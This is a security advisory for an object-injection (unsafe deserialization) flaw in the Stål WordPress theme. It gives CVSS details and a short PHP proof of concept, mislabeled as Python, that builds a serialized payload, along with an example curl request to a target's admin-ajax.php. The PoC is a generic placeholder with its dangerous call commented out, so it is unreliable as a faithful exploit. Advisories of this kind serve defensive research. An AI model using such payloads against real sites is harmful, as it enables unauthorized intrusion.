Deserialization of Untrusted Data vulnerability in Mikado-Themes Stål stal allows Object Injection.This issue affects Stål: from n/a through < 1.7.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Mikado-Themes Stål < 1.7
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// PoC for CVE-2026-32511: Object Injection in Stål Theme
// This script generates a malicious serialized payload.
class ExploitClass {
public $cmd;
public function __destruct() {
// Simulated dangerous action triggered by deserialization
// system($this->cmd);
}
}
// Create the object and set the property
$payload_object = new ExploitClass();
$payload_object->cmd = "id";
// Serialize the object
$serialized_payload = serialize($payload_object);
echo "Payload: " . urlencode($serialized_payload) . "\n";
// Usage: Send this payload to the vulnerable endpoint.
// Example: curl -X POST 'http://target/wp-admin/admin-ajax.php' -d 'action=vulnerable_action&data=payload_here'
?>